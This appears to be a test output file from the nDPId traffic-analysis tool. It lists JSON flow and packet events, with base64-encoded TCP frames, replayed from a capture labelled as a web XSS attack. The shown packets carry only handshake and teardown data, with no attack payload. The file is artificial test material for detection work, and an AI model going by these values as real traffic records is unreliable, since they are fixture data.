+00444{"flow_id":515,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7281,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347842,"pkt_ts_usec":491750,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8lUdAAD4GMImsEAABwKgKMoH2AFCtqqt8AAAAAKACchBEHwAAAgQFtAQCCAoBPD47AAAAAAEDAwc="} +00444{"flow_id":515,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7282,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347842,"pkt_ts_usec":491871,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgfYhjECLraqrfaAScSDPUAAAAgQFtAQCCAoD5g+wATw+OwEDAwc="} +00432{"flow_id":515,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7284,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347842,"pkt_ts_usec":492638,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lUhAAD4GMJCsEAABwKgKMoH2AFCtqqt9IYxAjIAQAOVuVwAAAQEICgE8PjwD5g+w"} +00432{"flow_id":512,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7287,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347842,"pkt_ts_usec":850351,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zIZAAD4G+VGsEAABwKgKMoHAAFDQoPW5x+PKToARAOXV5gAAAQEICgE8PpUD5gqw"} +00432{"flow_id":512,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7288,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347842,"pkt_ts_usec":850568,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA02kRAAEAG6ZPAqAoyrBAAAQBQgcDH48pO0KD1uoARAOPQjQAAAQEICgPmEAoBPD6V"} +00432{"flow_id":512,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7289,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347842,"pkt_ts_usec":851299,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zIdAAD4G+VCsEAABwKgKMoHAAFDQoPW6x+PKT4AQAOXQiwAAAQEICgE8PpUD5hAK"} +00432{"flow_id":513,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7296,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347843,"pkt_ts_usec":850596,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0apRAAD4GW0SsEAABwKgKMoHOAFDGglAUPGAdNoARAOW7+AAAAQEICgE8P48D5gv2"} +00432{"flow_id":513,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7297,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347843,"pkt_ts_usec":850802,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0DDJAAEAGt6bAqAoyrBAAAQBQgc48YB02xoJQFYARAOO26wAAAQEICgPmEQQBPD+P"} +00432{"flow_id":513,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7298,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347843,"pkt_ts_usec":851569,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0apVAAD4GW0OsEAABwKgKMoHOAFDGglAVPGAdN4AQAOW26QAAAQEICgE8P48D5hEE"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7299,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":473,"flow_packet_id":6,"flow_first_seen":1499347769077,"flow_last_seen":1499347774833,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60734,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7299,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":473,"flow_packet_id":6,"flow_first_seen":1499347769077,"flow_last_seen":1499347774833,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60734,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7299,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":474,"flow_packet_id":6,"flow_first_seen":1499347770345,"flow_last_seen":1499347775834,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60748,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7299,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":474,"flow_packet_id":6,"flow_first_seen":1499347770345,"flow_last_seen":1499347775834,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60748,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7299,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":475,"flow_packet_id":6,"flow_first_seen":1499347771635,"flow_last_seen":1499347776834,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60762,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7299,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":475,"flow_packet_id":6,"flow_first_seen":1499347771635,"flow_last_seen":1499347776834,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60762,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7299,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":476,"flow_packet_id":6,"flow_first_seen":1499347774205,"flow_last_seen":1499347779835,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60788,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7299,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":476,"flow_packet_id":6,"flow_first_seen":1499347774205,"flow_last_seen":1499347779835,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60788,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7299,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":477,"flow_packet_id":6,"flow_first_seen":1499347775487,"flow_last_seen":1499347780836,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60802,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7299,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":477,"flow_packet_id":6,"flow_first_seen":1499347775487,"flow_last_seen":1499347780836,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60802,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7299,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":478,"flow_packet_id":6,"flow_first_seen":1499347776753,"flow_last_seen":1499347781835,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60816,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7299,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":478,"flow_packet_id":6,"flow_first_seen":1499347776753,"flow_last_seen":1499347781835,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60816,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7302,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":516,"flow_packet_id":1,"flow_first_seen":1499347845077,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33296,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":516,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7302,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347845,"pkt_ts_usec":77766,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA83IxAAD4G6UOsEAABwKgKMoIQAFCGLpxOAAAAAKACchB4KAAAAgQFtAQCCAoBPEDCAAAAAAEDAwc="} +00443{"flow_id":516,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7303,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347845,"pkt_ts_usec":77881,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQghDt+J+Thi6cT6AScSDVXgAAAgQFtAQCCAoD5hI2ATxAwgEDAwc="} +00431{"flow_id":516,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7304,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347845,"pkt_ts_usec":78481,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03I1AAD4G6UqsEAABwKgKMoIQAFCGLpxP7fiflIAQAOV0ZgAAAQEICgE8QMID5hI2"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7311,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":517,"flow_packet_id":1,"flow_first_seen":1499347846345,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33310,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":517,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7311,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347846,"pkt_ts_usec":345271,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8NftAAD4Gj9WsEAABwKgKMoIeAFCnQ3QEAAAAAKACchB+EgAAAgQFtAQCCAoBPEH\/AAAAAAEDAwc="} +00445{"flow_id":517,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7312,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347846,"pkt_ts_usec":345422,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgh6m5yHpp0N0BaAScSCexwAAAgQFtAQCCAoD5hNzATxB\/wEDAwc="} +00432{"flow_id":517,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7313,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347846,"pkt_ts_usec":345957,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NfxAAD4Gj9ysEAABwKgKMoIeAFCnQ3QFpuch6oAQAOU9zwAAAQEICgE8Qf8D5hNz"} +00432{"flow_id":514,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7317,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347846,"pkt_ts_usec":856041,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06hBAAD4G28esEAABwKgKMoHoAFBN49cP5ETzqoARAOUpuwAAAQEICgE8Qn8D5g50"} +00434{"flow_id":514,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7318,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347846,"pkt_ts_usec":856260,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA04FlAAEAG437AqAoyrBAAAQBQgejkRPOqTePXEIARAOMkPQAAAQEICgPmE\/MBPEJ\/"} +00432{"flow_id":514,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7319,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347846,"pkt_ts_usec":856820,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06hFAAD4G28asEAABwKgKMoHoAFBN49cQ5ETzq4AQAOUkOwAAAQEICgE8Qn8D5hPz"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7323,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":518,"flow_packet_id":1,"flow_first_seen":1499347847629,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33324,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":518,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7323,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347847,"pkt_ts_usec":629206,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8TMtAAD4GeQWsEAABwKgKMoIsAFDM8A+LAAAAAKACchC7jwAAAgQFtAQCCAoBPENAAAAAAAEDAwc="} +00444{"flow_id":518,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7324,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347847,"pkt_ts_usec":629329,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgizINJmdzPAPjKAScSBCAgAAAgQFtAQCCAoD5hS0ATxDQAEDAwc="} +00432{"flow_id":518,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7326,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347847,"pkt_ts_usec":630085,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TMxAAD4GeQysEAABwKgKMoIsAFDM8A+MyDSZnoAQAOXhCQAAAQEICgE8Q0AD5hS0"} +00432{"flow_id":515,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7329,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347847,"pkt_ts_usec":856453,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lUlAAD4GMI+sEAABwKgKMoH2AFCtqqt9IYxAjIARAOVpGQAAAQEICgE8Q3kD5g+w"} +00432{"flow_id":515,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7330,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347847,"pkt_ts_usec":856673,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0VGFAAEAGb3fAqAoyrBAAAQBQgfYhjECMraqrfoARAONj3QAAAQEICgPmFO0BPEN5"} +00432{"flow_id":515,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7331,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347847,"pkt_ts_usec":857403,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lUpAAD4GMI6sEAABwKgKMoH2AFCtqqt+IYxAjYAQAOVj2wAAAQEICgE8Q3kD5hTt"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7341,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":519,"flow_packet_id":1,"flow_first_seen":1499347850209,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33350,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":519,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7341,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347850,"pkt_ts_usec":209154,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8OS9AAD4GjKGsEAABwKgKMoJGAFCA5HzqAAAAAKACchCXnQAAAgQFtAQCCAoBPEXFAAAAAAEDAwc="} +00444{"flow_id":519,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7342,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347850,"pkt_ts_usec":209287,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgkZb8bIlgOR866AScSBvRgAAAgQFtAQCCAoD5hc5ATxFxQEDAwc="} +00433{"flow_id":519,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7343,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347850,"pkt_ts_usec":210036,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OTBAAD4GjKisEAABwKgKMoJGAFCA5HzrW\/GyJoAQAOUOTgAAAQEICgE8RcUD5hc5"} +00432{"flow_id":516,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7347,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347850,"pkt_ts_usec":857325,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03I5AAD4G6UmsEAABwKgKMoIQAFCGLpxP7fiflIARAOVuwAAAAQEICgE8RmcD5hI2"} +00432{"flow_id":516,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7348,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347850,"pkt_ts_usec":857518,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0iE9AAEAGO4nAqAoyrBAAAQBQghDt+J+Uhi6cUIARAONpHAAAAQEICgPmF9sBPEZn"} +00432{"flow_id":516,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7349,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347850,"pkt_ts_usec":858271,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03I9AAD4G6UisEAABwKgKMoIQAFCGLpxQ7fiflYAQAOVpGgAAAQEICgE8RmcD5hfb"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7353,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":520,"flow_packet_id":1,"flow_first_seen":1499347851476,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33364,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":520,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7353,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347851,"pkt_ts_usec":476262,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8d+RAAD4GTeysEAABwKgKMoJUAFCuljDmAAAAAKACchC0pAAAAgQFtAQCCAoBPEcCAAAAAAEDAwc="} +00444{"flow_id":520,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7354,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347851,"pkt_ts_usec":476389,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQglT2+WNtrpYw56AScSA+wAAAAgQFtAQCCAoD5hh2ATxHAgEDAwc="} +00432{"flow_id":520,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7355,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347851,"pkt_ts_usec":476976,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0d+VAAD4GTfOsEAABwKgKMoJUAFCuljDn9vljboAQAOXdxwAAAQEICgE8RwID5hh2"} +00432{"flow_id":517,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7359,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347851,"pkt_ts_usec":857862,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Nf1AAD4Gj9usEAABwKgKMoIeAFCnQ3QFpuch6oARAOU4bAAAAQEICgE8R2ED5hNz"} 